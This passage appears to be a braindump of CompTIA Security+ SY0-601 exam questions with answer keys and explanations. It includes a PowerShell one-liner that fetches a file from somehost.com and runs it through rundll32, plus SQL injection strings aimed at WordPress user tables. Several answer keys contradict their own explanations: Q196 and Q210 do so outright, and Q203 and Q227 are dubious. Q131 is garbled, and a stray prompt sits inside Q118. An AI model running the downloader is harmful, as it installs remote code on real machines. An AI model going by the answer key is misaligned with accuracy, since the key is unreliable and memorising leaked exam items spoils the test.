➤ The provenance of the artifacts: The provenance of the artifacts refers to the origin and history of the digital evidence, such as where, when, how, and by whom it was collected, handled, analyzed, or otherwise controlled.

➤ The date and time: The date and time refer to the specific moments when the digital evidence was collected, handled, analyzed, transferred, or disposed of by each person involved in the chain of custody.

Other information that may be included in a digital forensics chain-of-custody form are:

➤ The identification of the artifacts: The identification of the artifacts refers to the unique identifiers or labels assigned to the digital evidence, such as serial numbers, barcodes, hashes, or descriptions.

➤ The signatures of the custodians: The signatures of the custodians refer to the names and signatures of each person who had custody or control of the digital evidence at any point in the chain of custody.

➤ The location of the artifacts: The location of the artifacts refers to the physical or logical places where the digital evidence was stored or processed, such as a lab, a server, a cloud service, or a device.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://resources.infosecinstitute.com/topic/chain-of-custody-in-digital-forensics/>

NEW QUESTION 107

- (Exam Topic 2)

An engineer is using scripting to deploy a network in a cloud environment. Which of the following describes this scenario?

- A. SDLC
- B. VLAN
- C. SDN
- D. SDV

Answer: C

Explanation:

SDN stands for software-defined networking, which is an approach to networking that uses software-based controllers or application programming interfaces (APIs) to communicate with underlying hardware infrastructure and direct traffic on a network. SDN decouples the network control plane from the data plane, enabling centralized management and programmability of network resources. SDN can help an engineer use scripting to deploy a network in a cloud environment by allowing them to define and automate network policies, configurations, and services through software commands.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.cisco.com/c/en/us/solutions/software-defined-networking/overview.html>

NEW QUESTION 112

- (Exam Topic 2)

A security analyst reviews web server logs and notices the following line: 104.35. 45.53 [22/May/2020:07 : 00:58 +0100] "GET . UNION ALL SELECT user login, user _ pass, user email from wp users— HTTP/I.I" 200 1072

<http://www.example.com/wordpress/wp—admin/>

Which of the following vulnerabilities is the attacker trying to exploit?

- A. SSRF
- B. CSRF

- C. xss
- D. SQLi

Answer: D

Explanation:

SQLi stands for SQL injection, which is a type of web security vulnerability that allows an attacker to execute malicious SQL statements on a database server. SQLi can result in data theft, data corruption, denial of service, or remote code execution.

The attacker in the web server log is trying to exploit a SQLi vulnerability by sending a malicious GET request that contains a UNION ALL SELECT statement. This statement is used to combine the results of two or more SELECT queries into a single result set. The attacker is attempting to retrieve user login, user pass, and user email from the wp users table, which is a WordPress database table that stores user information. The attacker may use this information to compromise the WordPress site or the users' accounts.

NEW QUESTION 114

- (Exam Topic 2)

An engineer recently deployed a group of 100 web servers in a cloud environment. Per the security policy, all web-server ports except 443 should be disabled. Which of the following can be used to accomplish this task?

- A. Application allow list
- B. Load balancer
- C. Host-based firewall
- D. VPN

Answer: C

Explanation:

A host-based firewall is a software application that runs on each individual host and controls the incoming and outgoing network traffic based on a set of rules. A host-based firewall can be used to block or allow specific ports, protocols, IP addresses, or applications.

An engineer can use a host-based firewall to accomplish the task of disabling all web-server ports except 443 on a group of 100 web servers in a cloud environment. The engineer can configure the firewall rules on each web server to allow only HTTPS traffic on port 443 and deny any other traffic. Alternatively, the engineer can use a centralized management tool to deploy and enforce the firewall rules across all web servers.

NEW QUESTION 118

- (Exam Topic 2)

A company would like to protect credit card information that is stored in a database from being exposed and reused. However, the current POS system does not support encryption. Which of the following would be BEST suited to secure this information?

(Give me related explanation and references from CompTIA Security+ SY0-601 documents for Correct answer option)

- A. Masking
- B. Tokenization
- C. DLP
- D. SSL/TLS

Answer: B

Explanation:

Tokenization replaces sensitive data with non-sensitive data, such as a unique identifier. This means that the data is still present in the system, but the sensitive information itself is replaced with the token. Tokenization is more secure than masking, which only obscures the data but does not eliminate it. DLP is not suitable for this task, as it is designed to prevent the loss or leakage of data from the system. SSL/TLS can be used to secure the transmission of data, but it cannot prevent the data itself from being exposed or reused. For more information, please refer to CompTIA Security+ SY0-601 Exam Objectives, Section 3.3: Explain the security purpose of authentication, authorization and accounting (AAA) services, and Section 4.7: Explain the purpose and characteristics of various types of encryption.

NEW QUESTION 119

- (Exam Topic 2)

Multiple beaconing activities to a malicious domain have been observed. The malicious domain is hosting malware from various endpoints on the network. Which of the following technologies would be best to correlate the activities between the different endpoints?

- A. Firewall
- B. SIEM
- C. IPS
- D. Protocol analyzer

Answer: B

Explanation:

SIEM stands for Security Information and Event Management, which is a technology that collects, analyzes, and correlates data from multiple sources, such as firewall logs, IDS/IPS alerts, network devices, applications, and endpoints. SIEM provides real-time monitoring and alerting of security events, as well as historical analysis and reporting for compliance and forensic purposes.

A SIEM technology would be best to correlate the activities between the different endpoints that are beaconing to a malicious domain. A SIEM can detect the malicious domain by comparing it with threat intelligence feeds or known indicators of compromise (IOCs). A SIEM can also identify the endpoints that are communicating with the malicious domain by analyzing the firewall logs and other network traffic data. A SIEM can alert the security team of the potential compromise and provide them with relevant information for investigation and remediation.

NEW QUESTION 123

- (Exam Topic 2)

A small, local company experienced a ransomware attack. The company has one web-facing server and a few workstations. Everything is behind an ISP firewall. A single web-facing server is set up on the router to forward all ports so that the server is viewable from the internet. The company uses an older version of third-

party software to manage the website. The assets were never patched. Which of the following should be done to prevent an attack like this from happening again? (Select three).

- A. Install DLP software to prevent data loss.
- B. Use the latest version of software.
- C. Install a SIEM device.
- D. Implement MDM.
- E. Implement a screened subnet for the web server.
- F. Install an endpoint security solution.
- G. Update the website certificate and revoke the existing ones.
- H. Deploy additional network sensors.

Answer: BEF

NEW QUESTION 126

- (Exam Topic 2)

A company was recently breached. Part of the company's new cybersecurity strategy is to centralize the logs from all security devices. Which of the following components forwards the logs to a central source?

- A. Log enrichment
- B. Log queue
- C. Log parser
- D. Log collector

Answer: D

Explanation:

A log collector is a component that forwards the logs from all security devices to a central source. A log collector can be a software tool or a hardware appliance that collects logs from various sources, such as firewalls, routers, servers, applications, or endpoints. A log collector can also perform functions such as log filtering, parsing, aggregation, normalization, and enrichment. A log collector can help centralize logging by sending the collected logs to a central log server or a security information and event management (SIEM) system for further analysis and correlation.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://geekflare.com/open-source-centralized-logging/>

NEW QUESTION 131

- (Exam Topic 2)

A data owner has been tasked with assigning proper data classifications and destruction methods for various types of data contained within the environment.

Drag & Drop

- Bound copies of internal audit reports from a private company 1
- Copies of financial audit reports from exchange-traded organizations on a flash drive 2
- Database containing driver's license information on a reusable backup tape 3
- Decommissioned mechanical hard drive containing application source code 4
- Employee records on an SSD 5
- Paper-based customer records, which include medical data 6

Data Classification

- PII ?
- PHI ?
- Intellectual Property ?
- Corporate Confidential ?
- Public ?

Data Destruction Method

- Degaussing and Multi-Pass Wipe ?
- Physical Destruction via Shredding ?

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Graphical user interface, application Description automatically generated

NEW QUESTION 133

- (Exam Topic 2)

A digital forensics team at a large company is investigating a case in which malicious code was downloaded over an HTTPS connection and was running in memory, but was never committed to disk. Which of the following techniques should the team use to obtain a sample of the malware binary?

- A. pcap reassembly
- B. SSD snapshot
- C. Image volatile memory
- D. Extract from checksums

Answer: C

Explanation:

The best technique for the digital forensics team to use to obtain a sample of the malware binary is to image volatile memory. Volatile memory imaging is a process of collecting a snapshot of the contents of a computer's RAM, which can include active malware programs. According to the CompTIA Security+ SY0-601 Official Text Book, volatile memory imaging can be used to capture active malware programs that are running in memory, but have not yet been committed to disk. This technique is especially useful in cases where the malware is designed to self-destruct or erase itself from the disk after execution.

NEW QUESTION 135

- (Exam Topic 2)

Security analysts have noticed the network becomes flooded with malicious packets at specific times of the day. Which of the following should the analysts use to investigate this issue?

- A. Web metadata
- B. Bandwidth monitors
- C. System files
- D. Correlation dashboards

Answer: D

Explanation:

Correlation dashboards are tools that allow security analysts to monitor and analyze multiple sources of data and events in real time. They can help identify patterns, trends, anomalies, and threats by correlating different types of data and events, such as network traffic, logs, alerts, and incidents. Correlation dashboards can help investigate network flooding by showing the source, destination, volume, and type of malicious packets and their impact on the network performance and availability. References: <https://www.comptia.org/blog/what-is-a-correlation-dashboard>

NEW QUESTION 137

- (Exam Topic 2)

An IT manager is estimating the mobile device budget for the upcoming year. Over the last five years, the number of devices that were replaced due to loss, damage, or theft steadily increased by 10%. Which of the following would best describe the estimated number of devices to be replaced next year?

- A. SLA
- B. ARO
- C. RPO
- D. SLE

Answer: B

Explanation:

ARO stands for annualized rate of occurrence, which is a metric that estimates how often a threat event will occur within a year. ARO can help an IT manager estimate the mobile device budget for the upcoming year by multiplying the number of devices replaced in the previous year by the percentage increase of replacement over the last five years. For example, if 100 devices were replaced in the previous year and the replacement rate increased by 10% each year for the last five years, then the estimated number of devices to be replaced next year is $100 \times (1 + 0.1)^5 = 161$.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.techopedia.com/definition/24866/annualized-rate-of-occurrence-aro>

NEW QUESTION 141

- (Exam Topic 2)

An organization wants to quickly assess how effectively the IT team hardened new laptops Which of the following would be the best solution to perform this assessment?

- A. Install a SIEM tool and properly configure it to read the OS configuration files.
- B. Load current baselines into the existing vulnerability scanner.
- C. Maintain a risk register with each security control marked as compliant or non-compliant.
- D. Manually review the secure configuration guide checklists.

Answer: B

Explanation:

A vulnerability scanner is a tool that can scan devices and systems for known vulnerabilities, misconfigurations, and compliance issues. By loading the current baselines into the scanner, the organization can compare the actual state of the new laptops with the desired state and identify any deviations or weaknesses. This is a quick and automated way to assess the hardening of the new laptops.

NEW QUESTION 145

- (Exam Topic 2)

A company policy requires third-party suppliers to self-report data breaches within a specific time frame. Which of the following third-party risk management policies is the company complying with?

- A. MOU
- B. SLA
- C. EOL
- D. NDA

Answer: B

Explanation:

An SLA or service level agreement is a type of third-party risk management policy that defines the expectations and obligations between a service provider and a customer. An SLA typically includes metrics and standards for measuring the quality and performance of the service, as well as penalties or remedies for non-compliance. An SLA can also specify the reporting requirements for data breaches or other incidents that may affect the customer's security or privacy.

NEW QUESTION 149

- (Exam Topic 2)

A security analyst received the following requirements for the deployment of a security camera solution:

- * The cameras must be viewable by the on-site security guards.
- * The cameras must be able to communicate with the video storage server.
- * The cameras must have the time synchronized automatically.
- * The cameras must not be reachable directly via the internet.
- * The servers for the cameras and video storage must be available for remote maintenance via the company VPN.

Which of the following should the security analyst recommend to securely meet the remote connectivity requirements?

- A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on
- B. Deploying a jump server that is accessible via the internal network that can communicate with the servers
- C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering
- D. Implementing a WAF to allow traffic from the local NTP server to the camera server

Answer: B

Explanation:

A jump server is a system that is used to manage and access systems in a separate security zone. It acts as a bridge between two different security zones and provides a controlled and secure way of accessing systems between them¹². A jump server can also be used for auditing traffic and user activity for real-time surveillance³. By deploying a jump server that is accessible via the internal network, the security analyst can securely meet the remote connectivity requirements for the servers and cameras without exposing them directly to the internet or allowing outgoing traffic from their subnet. The other options are not suitable because:

- A. Creating firewall rules that prevent outgoing traffic from the subnet the servers and cameras reside on would not allow remote maintenance via the company VPN.
- C. Disabling all unused ports on the switch that the cameras are plugged into and enabling MAC filtering would not prevent direct internet access to the cameras or servers.
- D. Implementing a WAF to allow traffic from the local NTP server to the camera server would not address the remote connectivity requirements or protect the servers from internet access.

References:

1: <https://www.thesecuritybuddy.com/network-security/what-is-a-jump-server/> 3:

<https://www.ssh.com/academy/iam/jump-server> 2: https://en.wikipedia.org/wiki/Jump_server

NEW QUESTION 154

- (Exam Topic 2)

Which of the following is required in order (or an IDS and a WAF to be effective on HTTPS traffic?

- A. Hashing
- B. DNS sinkhole
- C. TLS inspection
- D. Data masking

Answer: C

Explanation:

TLS (Transport Layer Security) is a protocol that is used to encrypt data sent over HTTPS (Hypertext Transfer Protocol Secure). In order for an intrusion detection system (IDS) and a web application firewall (WAF) to be effective on HTTPS traffic, they must be able to inspect the encrypted traffic. TLS inspection allows the IDS and WAF to decrypt and inspect the traffic, allowing them to detect any malicious activity. References: [1] CompTIA Security+ Study Guide Exam SY0-601 [1], Sixth Edition, Chapter 11, "Network Security Monitoring" [2] CompTIA Security+ Get Certified Get Ahead: SY0-501 Study Guide, Chapter 7, "Intrusion Detection and Prevention"

NEW QUESTION 158

- (Exam Topic 2)

A penetration tester was able to compromise a host using previously captured network traffic. Which of the following is the result of this action?

- A. Integer overflow
- B. Race condition
- C. Memory leak
- D. Replay attack

Answer: D

Explanation:

A replay attack is a form of network attack in which valid data transmission is maliciously or fraudulently repeated or delayed¹². This can allow an attacker to compromise a host by resending a previously captured message, such as a password or a session token, that looks legitimate to the receiver¹. A replay attack can be prevented by using methods such as random session keys, timestamps, or one-time passwords that expire after use¹². A replay attack is different from an integer overflow, which is a type of software vulnerability that occurs when an arithmetic operation attempts to create a numeric value that is too large to be represented within the available storage space³. A race condition is another type of software vulnerability that occurs when multiple processes access and manipulate the same data concurrently, and the outcome depends on the order of execution³. A memory leak is a type of software defect that occurs when a program fails to release memory that is no longer needed, causing the program to consume more memory than necessary and potentially affecting the performance or stability of the system³.

NEW QUESTION 161

- (Exam Topic 2)

A data center has experienced an increase in under-voltage events during electrical grid maintenance outside the facility. These events are leading to occasional losses of system availability. Which of the following would be the most cost-effective solution for the data center to implement?

- A. Uninterruptible power supplies with battery backup
- B. Managed power distribution units to track these events
- C. A generator to ensure consistent, normalized power delivery
- D. Dual power supplies to distribute the load more evenly

Answer: A

Explanation:

Uninterruptible power supplies with battery backup would be the most cost-effective solution for the data center to implement to prevent under-voltage events following electrical grid maintenance outside the facility. An uninterruptible power supply (UPS) is a device that provides emergency power to a load when the main power source fails or drops below an acceptable level. A UPS with battery backup can help prevent under-voltage events by switching to battery power when it detects a voltage drop or outage in the main power source. A UPS with battery backup can also protect the data center equipment from power surges or spikes. References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives> <https://www.apc.com/us/en/faqs/FA158852/>

NEW QUESTION 163

- (Exam Topic 2)

An analyst is working on an investigation with multiple alerts for multiple hosts. The hosts are showing signs of being compromised by a fast-spreading worm. Which of the following should be the next step in order to stop the spread?

- A. Disconnect every host from the network.
- B. Run an AV scan on the entire network
- C. Scan the hosts that show signs of infection
- D. Place all known-infected hosts on an isolated network

Answer: D

Explanation:

Placing all known-infected hosts on an isolated network is the best way to stop the spread of a worm infection. This will prevent the worm from reaching other hosts on the network and allow the infected hosts to be cleaned and restored. Disconnecting every host from the network is not practical and may disrupt business operations. Running an AV scan on the entire network or scanning the hosts that show signs of infection may not be effective or fast enough to stop a fast-spreading worm.

NEW QUESTION 164

- (Exam Topic 2)

An employee received an email with an unusual file attachment named Updates . Lnk. A security analyst reverse engineered what the file does and finds that it executes the following script:

```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -URI https://somehost.com/04EB18.jpg  
-OutFile $env:TEMP\autoupdate.dll;Start-Process rundll32.exe $env:TEMP\autoupdate.dll
```

Which of the following BEST describes what the analyst found?

- A. A PowerShell code is performing a DLL injection.
- B. A PowerShell code is displaying a picture.
- C. A PowerShell code is configuring environmental variables.
- D. A PowerShell code is changing Windows Update settings.

Answer: A

Explanation:

According to GitHub user JSGetty196's notes¹, a PowerShell code that uses rundll32.exe to execute a DLL file is performing a DLL injection attack. This is a type of code injection attack that exploits the Windows process loading mechanism. <https://www.comptia.org/training/books/security-sy0-601-study-guide>

NEW QUESTION 166

- (Exam Topic 2)

A network security manager wants to implement periodic events that will test the security team's preparedness for incidents in a controlled and scripted manner. Which of the following concepts describes this scenario?

- A. Red-team exercise
- B. Business continuity plan testing
- C. Tabletop exercise
- D. Functional exercise

Answer: C

Explanation:

A tabletop exercise is a type of security exercise that involves a simulated scenario of a security incident and a discussion of how the security team would respond to it¹. A tabletop exercise is a low-impact and cost-effective way to test the security team's preparedness, identify gaps and areas for improvement, and enhance communication and coordination among team members². A tabletop exercise is different from a red-team exercise, which is a simulated attack by an authorized group of ethical hackers to test the security defenses and response capabilities of an organization³. A business continuity plan testing is a process of verifying that an organization can continue its essential functions and operations in the event of a disaster or disruption⁴. A functional exercise is a type of security exercise that involves a realistic simulation of a security incident and requires the security team to perform their roles and responsibilities as if it were a real event. References: 1: <https://www.isaca.org/resources/isaca-journal/issues/2022/volume-1/cybersecurity-incident-response-exercise-g>

2: <https://www.linuxjournal.com/content/security-exercises> 3:

<https://www.imperva.com/learn/application-security/red-team-blue-team/> 4: <https://www.ready.gov/business-continuity-plan> : <https://www.ready.gov/exercises>

NEW QUESTION 168

- (Exam Topic 2)

An organization recently released a zero-trust policy that will enforce who is able to remotely access certain data. Authenticated users who access the data must have a need to know, depending on their level of permissions.

Which of the following is the first step the organization should take when implementing the policy?

- A. Determine a quality CASB solution.
- B. Configure the DLP policies by user groups.
- C. Implement agentless NAC on boundary devices.
- D. Classify all data on the file servers.

Answer: D

Explanation:

zero trust is a security strategy that assumes breach and verifies each request as though it originates from an untrusted network¹². A zero trust policy is a set of “allow rules” that specify conditions for accessing certain resources³.

According to one source⁴, the first step in implementing a zero trust policy is to identify and classify all data and assets in the organization. This helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls.

Classifying all data on the file servers is the first step in implementing a zero trust policy because it helps to determine the level of sensitivity and risk associated with each resource and apply appropriate access controls. Reference: Zero Trust implementation guidance | Microsoft Learn

NEW QUESTION 169

- (Exam Topic 2)

A security analyst needs to recommend a solution that will allow current Active Directory accounts and groups to be used for access controls on both network and remote-access devices. Which of the following should the analyst recommend? (Select two).

- A. TACACS+
- B. RADIUS
- C. OAuth
- D. OpenID
- E. Kerberos
- F. CHAP

Answer: BE

Explanation:

RADIUS and Kerberos are two protocols that can be used to integrate Active Directory accounts and groups with network and remote-access devices. RADIUS is a protocol that provides centralized authentication, authorization, and accounting for network access. It can use Active Directory as a backend database to store user credentials and group memberships. Kerberos is a protocol that provides secure authentication and encryption for network services. It is the default authentication protocol for Active Directory and can be used by remote-access devices that support it.

NEW QUESTION 170

- (Exam Topic 2)

A security administrator is using UDP port 514 to send a syslog through an unsecure network to the SIEM server. Which of the following is the best way for the administrator to improve the process?

- A. Change the protocol to TCP.
- B. Add LDAP authentication to the SIEM server.
- C. Use a VPN from the internal server to the SIEM and enable DLP.
- D. Add SSL/TLS encryption and use a TCP 6514 port to send logs.

Answer: D

Explanation:

SSL/TLS encryption is a method of securing the syslog traffic by using cryptographic protocols to encrypt and authenticate the data. SSL/TLS encryption can prevent eavesdropping, tampering, or spoofing of the syslog messages. TCP 6514 is the standard port for syslog over TLS, as defined by RFC 5425. Using this port can ensure compatibility and interoperability with other syslog implementations that support TLS.

NEW QUESTION 174

- (Exam Topic 2)

A security analyst is using OSINT to gather information to verify whether company data is available publicly. Which of the following is the BEST application for the analyst to use?

- A. theHarvester
- B. Cuckoo
- B. Nmap
- C. Nessus

Answer: A

Explanation:

TheHarvester is a reconnaissance tool that is used to gather information about a target organization, such as email addresses, subdomains, and IP addresses. It can also be used to gather information about a target individual, such as email addresses, phone numbers, and social media profiles. TheHarvester is specifically designed for OSINT (Open-Source Intelligence) and it can be used to discover publicly available information about a target organization or individual.

NEW QUESTION 179

- (Exam Topic 2)

A user is trying unsuccessfully to send images via SMS. The user downloaded the images from a corporate email account on a work phone. Which of the following policies is preventing the user from completing this action?

- A. Application management
- B. Content management
- C. Containerization
- D. Full disk encryption

Answer: B

Explanation:

Content management is a policy that controls what types of data can be accessed, modified, shared, or transferred by users or applications. Content management can prevent data leakage or exfiltration by blocking or restricting certain actions, such as copying, printing, emailing, or sending data via SMS. If the user downloaded the images from a corporate email account on a work phone, the content management policy may prevent the user from sending the images via SMS to protect the confidentiality and integrity of the data.

References: 1

CompTIA Security+ Certification Exam Objectives, page 10, Domain 2.0: Architecture and

Design, Objective 2.4: Explain the importance of embedded and specialized systems security 2

CompTIA Security+ Certification Exam Objectives, page 12, Domain 3.0: Implementation, Objective 3.1: Implement secure network architecture concepts 3

<https://www.comptia.org/blog/what-is-data-loss-prevention>

NEW QUESTION 181

- (Exam Topic 2)

A security engineer is investigating a penetration test report that states the company website is vulnerable to a web application attack. While checking the web logs from the time of the test, the engineer notices several invalid web form submissions using an unusual address: "SELECT * FROM customername". Which of the following is most likely being attempted?

- A. Directory traversal
- B. SQL injection
- C. Privilege escalation
- D. Cross-site scripting

Answer: B

Explanation:

SQL injection is a web application attack that involves inserting malicious SQL statements into an input field, such as a web form, to manipulate or access the database behind the application. SQL injection can be used to perform various actions, such as reading, modifying, or deleting data, executing commands on the database server, or bypassing authentication. In this scenario, the attacker is trying to use a SQL statement "SELECT * FROM customername" to retrieve all data from the customername table in the database.

NEW QUESTION 186

- (Exam Topic 2)

A security team is conducting a security review of a hosted data provider. The management team has asked the hosted data provider to share proof that customer data is being appropriately protected.

Which of the following would provide the best proof that customer data is being protected?

- A. SOC2
- B. CSA
- C. CSF
- D. ISO 31000

Answer: A

Explanation:

SOC2 is a type of audit report that provides assurance on the security, availability, processing integrity, confidentiality, and privacy of a service organization's systems. It is based on the Trust Services Criteria developed by the American Institute of Certified Public Accountants (AICPA). A SOC2 report can provide proof that customer data is being appropriately protected by the hosted data provider¹

<https://www.csagroup.org/store/product/50072454/> 3: <https://www.csagroup.org/store/product/50072454os/> 1: <https://cloudsecurityalliance.org/blog/2021/08/20/star-testimonial-csa-star-soc2-from-readiness-to-attestation/>

NEW QUESTION 189

- (Exam Topic 2)

A company would like to move to the cloud. The company wants to prioritize control and security over cost and ease of management. Which of the following cloud models would best suit this company's priorities?

- A. Public
- B. Hybrid
- C. Community
- D. Private

Answer: D

Explanation:

A private cloud model would best suit the company's priorities of control and security over cost and ease of management. In a private cloud, the infrastructure is dedicated to a single organization, providing greater control over the environment and the ability to implement strict security measures. This is in contrast to public, community, or hybrid cloud models, where resources are shared among multiple organizations, potentially compromising control and security. While private clouds can be more expensive and more difficult to manage, they the highest level of control and security for the company.

Reference:

- CompTIA Security+ Certification Exam Objectives (SY0-601), Section 3.2: "Explain the importance of secure staging deployment concepts."
- Cisco: Private Cloud - <https://www.cisco.com/c/en/us/solutions/cloud/private-cloud.html>

NEW QUESTION 193

- (Exam Topic 2)

Which of the following best describes the situation where a successfully onboarded employee who is using a fingerprint reader is denied access at the company's main gate?

- A. Crossover error rate
- B. False match rate
- C. False rejection
- D. False positive

Answer: C

Explanation:

False rejection Short explanation

A false rejection occurs when a biometric system fails to recognize an authorized user and denies access. This can happen due to poor quality of the biometric sample, environmental factors, or system errors. References: <https://www.comptia.org/blog/what-is-biometrics>

NEW QUESTION 196

- (Exam Topic 1)

An analyst is working on an email security incident in which the target opened an attachment containing a worm. The analyst wants to implement mitigation techniques to prevent further spread. Which of the following is the BEST course of action for the analyst to take?

- A. Apply a DLP solution.
- B. Implement network segmentation
- C. Utilize email content filtering,
- D. isolate the infected attachment.

Answer: D

Explanation:

Network segmentation is the BEST course of action for the analyst to take to prevent further spread of the worm. Network segmentation helps to divide a network into smaller segments, isolating the infected attachment from the rest of the network. This helps to prevent the worm from spreading to other devices within the network. Implementing email content filtering or DLP solution might help in preventing the email from reaching the target or identifying the worm, respectively, but will not stop the spread of the worm. References: CompTIA Security+ Study Guide, Chapter 5: Securing Network Infrastructure, 5.2 Implement Network Segmentation, pp. 286-289

NEW QUESTION 198

- (Exam Topic 1)

A company has discovered unauthorized devices are using its WiFi network, and it wants to harden the access point to improve security. Which of the following configuration should an analysis enable To improve security? (Select TWO.)

- A. RADIUS
- B. PEAP
- C. WPS
- D. WEP-EKIP
- E. SSL
- F. WPA2-PSK

Answer: AF

Explanation:

To improve the security of the WiFi network and prevent unauthorized devices from accessing the network, the configuration options of RADIUS and WPA2-PSK should be enabled. RADIUS (Remote Authentication Dial-In User Service) is an authentication protocol that can be used to control access to the WiFi network. It can provide stronger authentication and authorization than WEP and WPA. WPA2-PSK (WiFi Protected Access 2 with Pre-Shared Key) is a security protocol that uses stronger encryption than WEP and WPA. It requires a pre-shared key (PSK) to be entered on each device that wants to access the network. This helps prevent unauthorized devices from accessing the network.

NEW QUESTION 203

- (Exam Topic 1)

A security analyst must enforce policies to harden an MDM infrastructure. The requirements are as follows:

- * Ensure mobile devices can be tracked and wiped.
- * Confirm mobile devices are encrypted.

Which of the following should the analyst enable on all the devices to meet these requirements?

- A. A Geofencing
- B. Biometric authentication
- C. Geolocation
- D. Geotagging

Answer: A

Explanation:

Geofencing is a technology used in mobile device management (MDM) to allow administrators to define geographical boundaries within which mobile devices can operate. This can be used to enforce location-based policies, such as ensuring that devices can be tracked and wiped if lost or stolen. Additionally, encryption can

be enforced on the devices to ensure the protection of sensitive data in the event of theft or loss. References:

➤ CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 7

NEW QUESTION 206

- (Exam Topic 1)

The Chief Information Security Officer wants to pilot a new adaptive, user-based authentication method. The concept Includes granting logical access based on physical location and proximity. Which of the following Is the BEST solution for the pilot?

- A. Geofencing
- B. Self-sovereign identification
- C. PKI certificates
- D. SSO

Answer: A

Explanation:

Geofencing is a location-based technology that allows an organization to define and enforce logical access control policies based on physical location and proximity. Geofencing can be used to grant or restrict access to systems, data, or facilities based on an individual's location, and it can be integrated into a user's device or the infrastructure. This makes it a suitable solution for the pilot project to test the adaptive, user-based authentication method that includes granting logical access based on physical location and proximity.

Reference: CompTIA Security+ SY0-601 Official Text Book, Chapter 4: "Identity and Access Management".

NEW QUESTION 210

- (Exam Topic 1)

If a current private key is compromised, which of the following would ensure it cannot be used to decrypt all historical data?

- A. Perfect forward secrecy
- B. Elliptic-curve cryptography
- C. Key stretching
- D. Homomorphic encryption

Answer: B

Explanation:

Perfect forward secrecy would ensure that it cannot be used to decrypt all historical data. Perfect forward secrecy (PFS) is a security protocol that generates a unique session key for each session between two parties. This ensures that even if one session key is compromised, it cannot be used to decrypt other sessions.

NEW QUESTION 213

- (Exam Topic 1)

Which of the following controls would be the MOST cost-effective and time-efficient to deter intrusions at the perimeter of a restricted, remote military training area? (Select TWO).

- A. Barricades
- B. Thermal sensors
- C. Drones
- D. Signage
- E. Motion sensors
- F. Guards
- G. Bollards

Answer: AD

Explanation:

Barricades and signage are the most cost-effective and time-efficient controls to deter intrusions at the perimeter of a restricted, remote military training area.

References:

➤ CompTIA Security+ Study Guide Exam SY0-601, Chapter 7

NEW QUESTION 215

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8

NEW QUESTION 220

- (Exam Topic 1)

A security incident has been resolved Which of the following BEST describes the importance of the final phase of the incident response plan?

- A. It examines and documents how well the team responded discovers what caused the incident, and determines how the incident can be avoided in the future
- B. It returns the affected systems back into production once systems have been fully patched, data restored and vulnerabilities addressed
- C. It identifies the incident and the scope of the breach how it affects the production environment, and the ingress point
- D. It contains the affected systems and disconnects them from the network, preventing further spread of the attack or breach

Answer: A

Explanation:

The final phase of an incident response plan is the post-incident activity, which involves examining and documenting how well the team responded, discovering what caused the incident, and determining how the incident can be avoided in the future. References: CompTIA Security+ Certification Exam Objectives - 2.5
Given a scenario, analyze potential indicators to determine the type of attack. Study Guide: Chapter 5, page 225.

NEW QUESTION 222

- (Exam Topic 1)

Which of the following cryptographic concepts would a security engineer utilize while implementing non-repudiation? (Select TWO)

- A. Block cipher
- B. Hashing
- C. Private key
- D. Perfect forward secrecy
- E. Salting
- F. Symmetric keys

Answer: BC

Explanation:

Non-repudiation is the ability to ensure that a party cannot deny a previous action or event. Cryptographic concepts that can be used to implement non-repudiation include hashing and digital signatures, which use a private key to sign a message and ensure that the signature is unique to the signer. References: CompTIA Security+ Certification Exam Objectives (SY0-601)

NEW QUESTION 227

- (Exam Topic 1)

A company recently decided to allow its employees to use their personally owned devices for tasks like checking email and messaging via mobile applications. The company would like to use MDM, but employees are concerned about the loss of personal data. Which of the following should the IT department implement to BEST protect the company against company data loss while still addressing the employees' concerns?

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen.
- B. Configure the MDM software to enforce the use of PINs to access the phone.
- C. Configure MDM for FDE without enabling the lock screen.
- D. Perform a factory reset on the phone before installing the company's applications.

Answer: C

Explanation:

MDM software is a type of remote asset-management software that runs from a central server. It is used by businesses to optimize the functionality and security of their mobile devices, including smartphones and tablets. It can monitor and regulate both corporate-owned and personally owned devices to the organization's policies.

FDE stands for full disk encryption, which is a method of encrypting all data on a device's storage. FDE can protect data from unauthorized access in case the device is lost or stolen.

If a company decides to allow its employees to use their personally owned devices for work tasks, it should configure MDM software to enforce FDE on those devices. This way, the company can protect its data from being exposed if the device falls into the wrong hands.

However, employees may be concerned about the loss of personal data if the company also enables the remote-wiping option in the MDM software. Remote wiping is a feature that allows the company to erase all data on a device remotely in case of theft or loss. Remote wiping can also affect personal data on the device, which may not be acceptable to employees.

Therefore, a possible compromise is to configure MDM for FDE without enabling the lock screen. This means that the device will be encrypted, but it will not require a password or PIN to unlock it. This way, employees can access their personal data easily, while the company can still protect its data with encryption. The other options are not correct because:

- A. Enable the remote-wiping option in the MDM software in case the phone is stolen. This option may address the company's concern about data loss, but it may not address the employees' concern about personal data loss. Remote wiping can erase both work and personal data on the device, which may not be desirable for employees.
- B. Configure the MDM software to enforce the use of PINs to access the phone. This option may enhance the security of the device, but it may not address the company's concern about data loss. PINs can be guessed or bypassed by attackers, and they do not protect data if the device is physically accessed.
